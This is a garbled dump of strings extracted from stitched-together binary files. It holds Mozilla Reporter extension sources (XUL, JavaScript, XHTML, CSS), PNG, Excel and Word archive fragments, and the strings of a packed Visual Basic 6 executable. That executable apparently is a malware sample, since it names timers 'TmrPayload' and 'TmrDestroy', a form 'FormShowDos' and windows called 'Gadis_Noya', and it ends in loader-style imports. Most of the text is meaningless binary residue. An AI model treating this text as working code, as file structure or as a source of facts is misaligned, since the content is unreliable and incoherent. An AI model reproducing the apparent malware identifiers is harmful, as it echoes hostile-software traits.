- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 PK
[Content_Types].xml
l"%33V
=^i7+-
&0A6l4
dsXgL`
tt4Q+"wa|T\y,N
_rels/.rels
i")c$qU~31jH[{
?6!Y_o
word/_rels/document.xml.rels
E}-;}PBlJ!
`[^^ljNKD8R1d:
4e>K/4V
m^urw2N
:>S!?p8JX
0KDEVKc2P,
word/document.xml\r6
Te9$@v
:lZwN., $.
L<E,`@
evh.S5Y
n/UX:9`<R
Qp`_4uK@&
d4tjK8*
Eq@#CDGs,W;`lIgx2=
pK}m$g)Q
)5 8XqIEOvL6?
lZm>'Z}bp$V
hS[[+F={n:O|f}
r,0`%Rp
T]%U-%#+<
g99V[H"
8_aI7FA
naa9"3
O|$CO 1
+]S pK{%
H=+dBtq
l8]xbDM5
Nv&@o2
R8Vnsl
z_s=5W
%f-@Lc,
YI-%>|A=
R ^O/n`2P
}d$/x&$
;&cb4;B-d[B]2
/|)Y^6
G0??]U
~Q3QP%J
]n8].Hi,iob
word/theme/theme1.xmlYM
c7c;i&%GyFQ
Yl`)YZJ4WN
KtR7,BVYT
w/FDloa0
"6q1h,)
z^[`5P^77]/
~8W1@y
@yoV}i
(&8l+^
c o^sp_N?>}
L#_S^?
SJzYt=
[CrGjZ
!B DlnA
`5w12}
D8'c'8=Sd{.
xkw[Hn
tto/+V
; dykZ<J
(V|)i$Fs
d6In!,
\o0Sn_d3-k3iL
zY(6i4["
'ri [xA
Q /wb}KpV3I
C2!f^EqM
[lE!pqbUyIGb>+(
;5V+7X
8zC<C7/}KR\/
UjT}6*
word/settings.xmlVn8
}_`:dII:D
vQ@IM
{d"/&W&|
RV-m:j
0C$}_B(!|K^
?8HwP_
[v@je)
eB8/O!*
N%"kI#UW
L!CcKaiNeS
_5S0&Xhp
N6eE,vx%N-
DjaSi!
l8_MW7M@/M^
word/fontTable.xml
h@Qd[T
W^zP41J
_vpAmV
-QBpbg
2D9!28
2GouMY
QnQpTaP
"o2?),*"q49"qNklL,'e$r
$J#&3(
.!/>iL
word/webSettings.xmln0
6jVj>LZcy
-{ 'eF3
8Yc25,S+
0LDG+Hk5
nE}5'`t
*ib#3ir]
G?tMmm
1z}:~;
docProps/app.xml
d*57|bUL68
dPRuhs
kB`sGA6(
@4PL)<
X `-=\D
w(Pi}D\Ic
QdH{=,J
laZ)Cu:/-
#>xeNfa5/_d`GQlhL
docProps/core.xml
JQ0is;#;DS
v0RAi?
SPPFOqJO,
Q1BO24v
E+=:/=S/:b(C
%)$,N*
word/styles.xml]s
(Y02~6zO
<e{>8WyJ2
b.Y)fBew<j0yE?JyVq
&Xe==<Y*EO:5/e"[c&
ea^wyye\,SVBZhT*4<+H(
l'Yzg~L
8o4lws
A{6>_U
lY7wP6-S9
I3B$g?
lvXUdb{,/1_
VID[33D
Y %6",
Pwq<nDs<fCs<^Bs<VAs<N@s<
0;{sVtm]6WT
C|hyK%G,I4
%{ c,!n
dPXwh?/I
ANYUSl|*me E%%'b}b5<7
,fxbhFD
Q54v'U54vkhD
Tf[|p=!cz
0|iL;-
z75rR|Z
5VG%5HZJ
/Kq0JIxBGk}+I/
g/Dg{N=da`I*!"e
y<|"??
zz0dpOv
W@&TJ--|
lY?raaTJX
p`Tt'Q3
I7d%O*g
Thom3{v'9
WN/Lx9'
okxXtw1{;#W
x<K[-OD*
8>l{VJb+g$,xwf
gVd>#tu|']h
ZlWGZGu^e<
N?qW~D_A
uSVs(o
V0>dj*
6*DZ?j
"F\f?zz
"fR(Er-
}#aWw#AwH<
) tuGp'tuKj8+W=?~
QRCTp`J
`!Kj%5Ja'
Pzz1xa(~T
Wj\)5.[
g?!Hj\)5.[
'd/&\j\)5.[K
Wj\)5.[
%7<0A\
I?dMM'm
/tYqIoA]?c
Y4yG$mT
xj~ij>~
eQe}tg
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/theme/theme1.xmlPK
word/settings.xmlPK
word/fontTable.xmlPK
word/webSettings.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
word/stMZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
